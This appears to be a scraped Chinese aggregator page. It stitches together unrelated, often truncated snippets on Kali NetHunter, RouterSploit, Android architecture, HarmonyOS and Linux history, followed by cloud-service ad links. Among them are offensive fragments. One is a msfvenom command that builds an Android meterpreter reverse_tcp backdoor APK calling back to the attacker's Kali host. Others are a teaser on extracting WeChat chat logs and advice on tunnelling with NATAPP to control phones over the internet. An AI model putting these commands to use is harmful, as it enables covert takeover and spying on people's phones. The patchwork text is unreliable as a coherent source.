解读：手机安装 kali-nethunter ，实际上是安装一个 安卓 Cyanogenmod 系统 （cm-13等）的 ROM ,然后再安装一个 kali-nethunter 系统，共同存在手机内的重合系统体，在需要使用kali时，手机自动切换根目录（chroot）。
和Metasploit差不多，RouterSploit是一个强大的漏洞利用框架，用于快速识别和利用路由器中的普通漏洞，它还有个亮点，就是可以在绝大多数安卓设备上运行。 如果你想在电脑上运行，可以阅读这篇文章，而这篇教程则会告诉你如何轻松地在未Root的安卓设备上安装RouterSploit，这样一来，只要你的智能手机可以连接这些有漏洞的路由器，你就可以渗透他们。 RouterSploit vs 路由器 路由器是我们联通世界的通道，它们管理着互联网通信，加密我们的流量，保护着我们的隐私，还将我们与内网的或者外
笔者今年换掉了服役N年的旧手机，新手机12G的RAM，比自用的本子内存都大，如果只是玩游戏感觉不能完全发挥出全部机能，但又因为怕影响日常使用没有进行root，经过一番折腾，发现即使不root也不影响把它变成一款测试利器，有同类需求的可以参考此文。
前阵子受《Xposed模块编写的那些事》[1]这篇文章的帮助很大，感觉有必要写一篇文章。现在最火爆的又是frida，该框架从Java层hook到Native层hook无所不能，虽然持久化还是要依靠Xposed和hookzz等开发框架，但是frida的动态和灵活对逆向以及自动化逆向的帮助非常巨大。
2019年11月26日，kali Linux官网发布了最新版本：Kali Linux 2019.4发行版
11月26日，Kali Linux官网宣布了2019年第四个也是最后一个版本——Kali Linux 2019.4。相比之前有较大的变动，引起了很多安全爱好者的关注，例如全新的桌面环境Xfce、Kali Undercover模式（能够伪装成win10）、NetHunter Kex 。
打开终端并输入以下命令：msfvenom -p [payload] LHOST=[IP地址] LPORT=[端口号] -f [格式] -o [文件名]
在这篇文章中我们将讨论如何获取安卓、苹果设备中的微信聊天记录，并演示如何利用后门通过Metasploit对安卓设备进行控制。文章比较基础、可动手性强，有设备的童鞋不妨边阅读文章边操作，希望能激发大家对移动终端的安全兴趣。 “如何获取Android、iPhone手机上的微信聊天记录？ ” 0×00 条件： 安卓设备已获取root权限，安装SSHDroid(通过ssh、ftp连接手机) Apple设备越狱，安装OpenSSH插件 0×01 安卓： 很多安卓手机的用户都会遇到这么一个尴尬的问题:手机用久了就不知
文章内容可能具有一定攻击性，本文仅供技术交流，如有非法使用后果自负。 在这次的实验中，我会使用kali linux和安卓模拟器演示如何使用Metasploit框架控制Android设备。 创建负载
var xhr = new XMLHttpRequest(); xhr.open('get', 'https://v1.hitokoto.cn/'); xhr.onreadystatechange = function () { if (xhr.readyState === 4) { var data = JSON.parse(xhr.responseText); var hitokoto = document.getElementById('hitokoto'); hitokoto.innerText = data.hitokoto; } } xhr.send();
使用Burp对安卓应用进行渗透测试的过程中，有时候会遇到某些流量无法拦截的情况，这些流量可能不是HTTP协议的，或者是“比较特殊”的HTTP协议(以下统称非HTTP流量)。遇到这种情况，大多数人会选择切换到Wireshark等抓包工具来分析。 下面要介绍的，是给测试人员另一个选择——通过Burpsuite插件NoPE Proxy对非HTTP流量抓包分析，并可实现数据包截断修改、重放等功能。 NoPE Proxy简介 NoPE Proxy插件为Burpsuite扩展了两个新的特性： 1. 一个可配置的DNS
当然,所有的实验均是在模拟器上进行,属于局域网.如果实现外网手机远控,可以在服务器上进行.
这样我们的环境就部署完成了。然后访问我们的主机IP，你会看到下面的界面。 输入用户名和密码 登录
按照知识共享署名-非商业性使用 4.0 国际协议进行许可，转载引用文章应遵循相同协议。
利用 HBuilder将web页面打包成 APP 文件-新建-移动APP 配置APP项目
选择网关 add to target 1 选择目标 add to target 2
安卓木马后门：msfvenom -p Android/Meterpreter/reverse_tcp LHOST=你kali的ip LPORT=5555 R > /root/apk.apk
执行apt upgrade&当提示：“Do you want to continue” 时输入 ‘y’ 并回车。
2018国内优秀开源镜像站汇总 一、站点版 企业站 1.网易：http://mirrors.163.com/ 2.阿里云：http://mirrors.aliyun.com/ 同步频率为每天一次，每天凌晨2：00-4：00为镜像的同步时间 3.搜狐：http://mirrors.sohu.com/
本项目已荣获2017年福建省第32届青少年科技创新大赛一等奖 摘要：通过设计并进行试验、实地调查等方式，对无线安全的情况进行综合性的调查与研究，最终提出合理化建议。利用无线安全审计设备 Wifipineapple 模拟出黑客所使用的“钓鱼 Wi-Fi”网页进行数据的收集和实际体验。试图做出对该类行为防范的反思和进一步的建议，提高人们对无线安全的重视意识。 关键词：无线网络安全 综合性调查和研究 无线安全审计 Wifipineapple Kali Linux 反思和建议 引言 在 2
今天给大家收集和整理了一些常用的 WiFi 渗透工具，工具对于我们这些人来说是最熟悉的东西之一了，选择一个好的工具会让你事半功倍。（工具顺序不分名次）
下载地址：https://github.com/cSploit/android/releases
工具：bettercap、metasploit、dnsspoof、armitage
Linux 与 Linux 内核其实是不一样的，关于这个问题，我在之前的一篇文章中讲过（《Linux，Unix，GNU 到底有什么样的渊源？》）。Linux 的内核是由 Linus Torvalds 在1991年首次编写。它是操作系统的核心，包括设备驱动、文件系统、进程管理、网络通信等。但是操作系统光有内核，用户是没有办法操作的，所以很多厂商和 Linux 社区就在内核之上开发了很多工具，比如我们常用的 GNome桌面，FireFox浏览器、GIMP 图片编辑器等等。Linux 内核和这些应用一起打包后就被称作 Linux 发行版本。Linux 有很多的发行版本，我在之前的文章中（《这么多Linux版本，你究竟该怎么选择？》），对不同的版本做过比较。
Kali linux的安卓木马一般只能在内网操作，要想在监控互联网的安卓手机，必须要使用内网穿透，工具有很多，我使用的是NATAPP。思路如下：
这个名叫Dirty COW，也就是脏牛的漏洞，存在Linux内核中已经有长达9年的时间，也就说2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队已经对此进行了修复。据说Linus本人也参与了修复。：P 00x1 漏洞编号： CVE-2016-5195 00x2 漏洞危害： 低权限用户利用该漏洞可以在众多Linux系统上实现本地提权 00x3影响范围： Linux kernel >=2.6.22（2007年发行，到今年10月18日才修复） 00x4
`系统简介` - 基于Win10 Workstation 21H2 x64 MSDN原版镜像制作； - 完整安装WSL Kali Linux 2022.1，并配置图形化模式； - 精简系统自带软件，美化字体及部分图标，适度优化； - 镜像容量74.5G，使用单磁盘文件存储，提升性能； - 建议运行环境： * vmware：16.0 * 运行内存：8G * 固态硬盘：100G `制作声明：` 1. 所有的安装类软件均下载自软件对应的官方网站； 2. 所有的绿色类软件均下载自果核剥壳。（https://www.ghxi.com/）； 3. 所有的脚本类工具均下载自github。（https://github.com/）； 4. 部分授权类工具（破解版）及优秀的渗透工具来自微信公众号分享； 排名不分先后，同时也推荐大家关注，一起变得更强。 雾晓安全、果核剥壳、归零安全、潇湘信安、学蚁致用、谢公子学安全、利刃藏锋、棉花糖网络安全圈、HACK技术沉淀营、无尾熊安全、T00ls、 渗透攻击红队、洛米唯熊、雷石安全实验室、酒仙桥六号部队、InBug实验室、鸿鹄实验室、黑白之道、HACK之道、GobySec、Gcow安全团队、 Gamma实验室、Cobaltstrike实战、冰河技术、网络安全与黑客技术、QZ的安全悟道、菜鸟学信安、乌雲安全、白帽子飙车路、信安之路、chaosec、 鸟哥谈安全、安全小飞侠、moonsec、系统安全运维、天驿安全、零组攻防实验室、lemonsec、橘猫学安全、Hacking黑白红、渗透xiao白帽、 渗透安全团队、白帽子社区、HACK学习呀、猪猪谈安全、开普勒安全团队、吾爱破解论坛、WhITECat安全团队、寻云安全团队、Khan安全攻防实验室、 Bypass、天億网络安全、关注安全技术、玄魂工作室、边界骇客、零度安全攻防实验室、WgpSec狼组安全团队、黑白天实验室、靶机狂魔、渗透云笔记、 TeamsSix、hijackY、TimeLine Sec、重生信息安全、GobySec、Gcow安全团队、冰蚕实验室。 5. 本项目制作的初衷是帮助渗透新手快速搭建工作环境，工欲善其事，必先利其器； 6. 本项目由于后期调试原因可能会遗留部分本人的信息，请直接忽视； 7. 本项目坚决不接受也从未曾接受任何形式的赞助； 8. 如果您有好的意见或者建议，请联系邮箱burpsuite@qq.com。 `免责声明：` 1. 本镜像仅面向合法授权的企业安全建设行为，如您需要测试本镜像的可用性，请自行搭建靶机环境； 2. 在使用本镜像进行检测时，您应确保该行为符合当地的法律法规，并且已经取得了足够的授权； 3. 如您在使用本镜像的过程中存在任何非法行为，您需自行承担相应后果，作者将不承担任何法律及连带责任。
Kali Linux是基于Debian的Linux发行版， 设计用于数字取证操作系统。由Offensive Security Ltd维护和资助，最先由Offensive Security的Mati Aharoni和Devon Kearns通过重写Back Track来完成。
学习安卓的架构，是从操作系统的角度理解安卓。安卓使用Linux内核，但安卓的架构又与常见的Linux系统有很大的区别。我们先来回顾一下传统的Linux架构，再来看安卓的变化。 Linux系统架构 先来
文中提及的部分技术可能带有一定攻击性，仅供安全学习和教学用途，禁止非法使用！ 📷 0x00 实验环境 操作系统：Kali 1.0 (VM) FackAP: easy-creds 硬件：NETGEAR wg111 v3 RTL8187B 网卡（kali下免驱） 📷 靶机：安卓、iPhone设备 0x01 环境搭建 git clone https://github.com/brav0hax/easy-creds cd easy-creds 📷 bash instal
同学们好~我是徐哥，如果你有愿意分享的“关于网络安全"的故事，我会用心倾听，并把你们的青春岁月和热血故事讲给所有安全圈内人听。如果你想和我做朋友，不妨加微信（MS_08067）
光速虚拟机是基于安卓系统和ARM处理器架构实现的一套虚拟化技术，在安卓系统的用户态空间无需特殊权限实现了一套完整的安卓内核和硬件抽象层，能够在安卓APP内部运行另外一个安卓系统，虚拟机内部的APP和游戏运行性能能够接近真机的运行性能和兼容性。光速虚拟机也可以认为是一种安卓系统上的库操作系统（libos）。从行业的情况来看，微软和Google分别在不同系统上实现过类似的方案，微软DrawBridge是在Windows上实现Windows，以及其后续发展出来的WSL是Windows上实现linux，Google的gVisor则是linux上实现linux。光速虚拟机是通过安卓来实现安卓。光速虚拟机是市面上第一家在手机上实现完整安卓虚拟化的产品。
一共六道题 而我能力有限只能解出4道，还有一道是蒙的哈哈哈！那么现在看开始写解题思路辣。
aosp “Android Open Source Project”的缩写。中文意为”Android 开放源代码项目”。
有幸在linux以及安卓框架上研究过几年，现在就这个问题发表点个人意见，安卓底层操作系统算是定制版的linux内核，但有个非常明显的区别，安卓只是用到了linux内核上层的应用体系是完全自己构建的，距离linux原生态的方式已经距离非常遥远了，所以拿来和纯正的linux做对比其实意义不是特别大，安卓之所以感觉像windows那样臃肿，主要原因还是生态链的普及的比较完善，使用人数太多，俗话讲有人的地方就有江湖。
对于我们这些不怎么方便用电脑的人来说，管理网站什么的实在是不方便，网站出了什么问题又要找电脑，实在是麻烦，而且处处受限。作为新一代的技术宅，这点东西怎么可能难倒我们？！在几乎人手一部安卓机的今天，其实有很多实用的app可以帮我们很多忙。
Root，对于任何手机发烧友、玩机客、从事移动设备研发的人员来说，并不陌生，它代表绝大部分移动设备的使用者能够掌握到的最高权限。
从事软件开发多年，而且大多数情况都是在linux完成代码的编写，自从第一次接触linux之后就再也离不开了，目前linux系统主要用在服务器端以及开发者使用，针对消费者的大众这块还是非常稀少，linux内核的代码主要是C语言和汇编两种编程语言完成，C语言本身语法没有那么复杂，但灵活性极强非常适合性能要求极高，所以很多性能要求的系统都喜欢用C语言来完成。
0x00：前言 从互联网上可以搜集到很多关于ARM平台下（主要还是基于ARM+Android）的Hacking文章，忽略掉那些复制加粘贴的内容，剩下的大多是关于如何在安卓手机上安装Kali Nethunter的文章，当然还有一些部分关于在安卓上安装 Andrax 的文章。这些文章只是简单的减少了如何搭建一个可以用于 Hacking的移动设备平台，并没有深入的、详细的去介绍该如何利用这类设备实施真实场景下的Hacking，感觉很遗憾。出于自己的兴趣以及弥补 Android 移动平台下Hacking内容的缺失环
太简单了。。。什么复制SIM卡，信号拦截，间谍卫星就不谈了，一般人黑客也犯不上用。
本世纪初的前十年，随着移动网络的发展，越来越多的人感到网络在手机端应该有更大作为。当时有很多人试图创造一种新的网络终端，其中“安卓之父”安迪·鲁宾当时的创业就是开发一款名为 sidekick 的微缩电脑式手机，但这款手机只在硅谷工程师内小范围流传了一阵，之后便随着安迪·鲁宾从 CEO 的位置上离开而销声匿迹。
Linux Basics for Hackers: Getting Started with Networking, Scripting, and Security in Kali
美帝野蛮封杀华为等中国高科技明星企业，Google等企业继而断供华为。此情此景，其悲凉与悲壮，直逼《权力的游戏》中最令观众震撼的"血色婚礼"，史塔克家族的命运在这一刻跌倒了谷底。
只靠 linux内核,咱们无法做任何事情,只有内核和各种应用程序在一起,咱们才能使用.
试从技术架构、应用场景、开放性、用户界面、价格（包括但不限于） 等方面比较Windows、安卓、Linux. Mac os.鸿蒙操作系统。（第一行写明你采用何种方式完成该项作业）。
零、前言 1.面对知识的更新迭代 1).若水很深，至少要带上游泳圈下去一次,不然你永远不知道水里是什么样的。 2).不要高估/低估自己，在承受力的200%之内尽量学习新的事物,永远不要在50%之前离开。 3).世间唯一不变的是变化本身，应变的能力、化不变为变化的能力、以不变应万变的能力是同义词。 4).不要放弃治疗，不要放弃学习，药不能停，书不能停。 2.玩安卓也有一段时间了,从HelloWorld开始，一步步向上求索: 1).各种控件、各种库像拼积木，一块一块搭成想要的效果，然后到某个阶段，
承接“Java快速教程”，我将开始写安卓相关的文章。 安卓（Android）开发主要使用Java语言。Java语言基础，是安卓开发的第一道门槛。再者，一个好的安卓应用往往配合有远程服务器。这两方面，可以参考Java快速教程中对Java语言和Play框架的讲解。安卓开发还需要其它技术的合作，包括操作系统、互联网、图形化界面、数据库等。可以说，移动开发是一个现实的战场，平常操练的各项本领都会派上用场。 从本质上讲，移动平台和传统的PC平台并无本质区别。两者都是在硬件平台上搭建一个操作系统，再在操作系统上运行应用
kali nethunter 是在已有的 rom上对内核进行修改而定制的一个系统，他通过 chroot 来在安卓设备中运行 kali。故在安装 kali nethunter前你得先有一个被支持的rom.官方支持的设备和rom列表： https://github.com/offensive-security/kali-nethunter/wiki 。这里我用的是 nexus4 ，其他设备的流程应该大概差不多。具体流程如下：
华为鸿蒙已经发布快一年了，但是经常还有小伙伴说，鸿蒙不就是安卓系统套个壳么？类似小米的米UI和华为自有的EMUI。 我们不可否认鸿蒙2.0系统跟安卓的界面确实很相似，但就因此判定鸿蒙系统是安卓换皮了吗？ 都知道鸿蒙系统跟安卓一样，采用的是AOSP 开源代码，而安卓自身超过80%的代码都来自于开源项目，谁也不能说谁在换皮吧？ 长期以来，谷歌Android和苹果iOS系统占据了全球移动端操作系统的绝大多数市场份额，除了苹果的IOS以外，其他手机基本使用的就是安卓系统，当然，鸿蒙推出以后就三分天下啦。 对于很多
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
实时音视频
云直播
对象存储
